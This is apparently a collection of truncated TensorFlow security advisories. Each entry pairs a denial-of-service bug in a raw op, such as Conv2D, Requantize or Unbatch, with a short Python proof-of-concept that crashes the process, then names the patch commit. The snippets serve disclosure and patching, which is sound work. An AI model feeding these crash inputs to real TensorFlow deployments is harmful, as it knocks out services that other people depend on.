#dos

### Impact When `CollectiveGather` receives an scalar input `input`, it gives a `CHECK` fails that can be used to trigger a denial of service attack. ```python import tensorflow as tf arg_0=1 arg_1=1 arg_2=1 arg_3=1 arg_4=(3, 3,3) arg_5='auto' arg_6=0 arg_7='' tf.raw_ops.CollectiveGather(input=arg_0, group_size=arg_1, group_key=arg_2, instance_key=arg_3, shape=arg_4, communication_hint=arg_5, timeout_seconds=arg_6, name=arg_7) ``` ### Patches We have patched the issue in GitHub commit [c1f491817dec39a26be3c574e86a88c30f3c4770](https://github.com/tensorflow/tensorflow/commit/c1f491817dec39a26be3c574e86a88c30f3c4770). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/S...

### Impact If `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack. ```python import tensorflow as tf import numpy as np with tf.device("CPU"): # also can be triggerred on GPU input = np.ones([1, 0, 2, 1]) filter = np.ones([1, 1, 1, 1]) strides = ([1, 1, 1, 1]) padding = "EXPLICIT" explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0] data_format = "NHWC" res = tf.raw_ops.Conv2D( input=input, filter=filter, strides=strides, padding=padding, explicit_paddings=explicit_paddings, data_format=data_format, ) ``` ### Patches We have patched the issue in GitHub commit [611d80db29dd7b0cfb755772c69d60ae5bca05f9](https://github.com/tensorflow/tensorflow/commit/611d80db29dd7b0cfb755772c69d60ae5bca05f9). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this ...

### Impact The implementation of `AvgPool3DGradOp` does not fully validate the input `orig_input_shape`. This results in an overflow that results in a `CHECK` failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf ksize = [1, 1, 1, 1, 1] strides = [1, 1, 1, 1, 1] padding = "SAME" data_format = "NDHWC" orig_input_shape = tf.constant(1879048192, shape=[5], dtype=tf.int32) grad = tf.constant(1, shape=[1,3,2,4,2], dtype=tf.float32) tf.raw_ops.AvgPool3DGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format) ``` ### Patches We have patched the issue in GitHub commit [9178ac9d6389bdc54638ab913ea0e419234d14eb](https://github.com/tensorflow/tensorflow/commit/9178ac9d6389bdc54638ab913ea0e419234d14eb). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in ...

### Impact If `EmptyTensorList` receives an input `element_shape` with more than one dimension, it gives a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf tf.raw_ops.EmptyTensorList(element_shape=tf.ones(dtype=tf.int32, shape=[1, 0]), max_num_elements=tf.constant(1),element_dtype=tf.int32) ``` ### Patches We have patched the issue in GitHub commit [c8ba76d48567aed347508e0552a257641931024d](https://github.com/tensorflow/tensorflow/commit/c8ba76d48567aed347508e0552a257641931024d). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulner...

### Impact `Eig` can be fed an incorrect `Tout` input, resulting in a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf import numpy as np arg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32) arg_1=tf.complex128 arg_2=True arg_3='' tf.raw_ops.Eig(input=arg_0, Tout=arg_1, compute_v=arg_2, name=arg_3) ``` ### Patches We have patched the issue in GitHub commit [aed36912609fc07229b4d0a7b44f3f48efc00fd0](https://github.com/tensorflow/tensorflow/commit/aed36912609fc07229b4d0a7b44f3f48efc00fd0). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions...

### Impact When `DrawBoundingBoxes` receives an input `boxes` that is not of dtype `float`, it gives a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf import numpy as np arg_0=tf.constant(value=np.random.random(size=(1, 3, 2, 3)), shape=(1, 3, 2, 3), dtype=tf.half) arg_1=tf.constant(value=np.random.random(size=(1, 2, 4)), shape=(1, 2, 4), dtype=tf.float32) arg_2='' tf.raw_ops.DrawBoundingBoxes(images=arg_0, boxes=arg_1, name=arg_2) ``` ### Patches We have patched the issue in GitHub commit [da0d65cdc1270038e72157ba35bf74b85d9bda11](https://github.com/tensorflow/tensorflow/commit/da0d65cdc1270038e72157ba35bf74b85d9bda11). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY...

### Impact When `Unbatch` receives a nonscalar input `id`, it gives a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf import numpy as np arg_0=tf.constant(value=np.random.random(size=(3, 3, 1)), dtype=tf.float64) arg_1=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64) arg_2=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64) arg_3=47 arg_4='' arg_5='' tf.raw_ops.Unbatch(batched_tensor=arg_0, batch_index=arg_1, id=arg_2, timeout_micros=arg_3, container=arg_4, shared_name=arg_5) ``` ### Patches We have patched the issue in GitHub commit [4419d10d576adefa36b0e0a9425d2569f7c0189f](https://github.com/tensorflow/tensorflow/commit/4419d10d576adefa36b0e0a9425d2569f7c0189f). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For...

### Impact If `Requantize` is given `input_min`, `input_max`, `requested_output_min`, `requested_output_max` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf out_type = tf.quint8 input = tf.constant([1], shape=[3], dtype=tf.qint32) input_min = tf.constant([], shape=[0], dtype=tf.float32) input_max = tf.constant(-256, shape=[1], dtype=tf.float32) requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32) requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32) tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type) ``` ### Patches We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0). The fix will be included in TensorFlow 2....

### Impact When `RandomPoissonV2` receives large input shape and rates, it gives a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf arg_0=tf.random.uniform(shape=(4,), dtype=tf.int32, maxval=65536) arg_1=tf.random.uniform(shape=(4, 4, 4, 4, 4), dtype=tf.float32, maxval=None) arg_2=0 arg_3=0 arg_4=tf.int32 arg_5=None tf.raw_ops.RandomPoissonV2(shape=arg_0, rate=arg_1, seed=arg_2, seed2=arg_3, dtype=arg_4, name=arg_5) ``` ### Patches We have patched the issue in GitHub commit [552bfced6ce4809db5f3ca305f60ff80dd40c5a3](https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/maste...

### Impact When `tf.quantization.fake_quant_with_min_max_vars_gradient` receives input `min` or `max` that is nonscalar, it gives a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf import numpy as np arg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32) arg_1=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32) arg_2=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32) arg_3=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32) arg_4=8 arg_5=False arg_6='' tf.quantization.fake_quant_with_min_max_vars_gradient(gradients=arg_0, inputs=arg_1, min=arg_2, max=arg_3, num_bits=arg_4, narrow_range=arg_5, name=arg_6) ``` ### Patches We have patched the issue in GitHub commit [f3cf67ac5705f4f04721d15e485e192bb319feed](https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed). The fix will be included in T...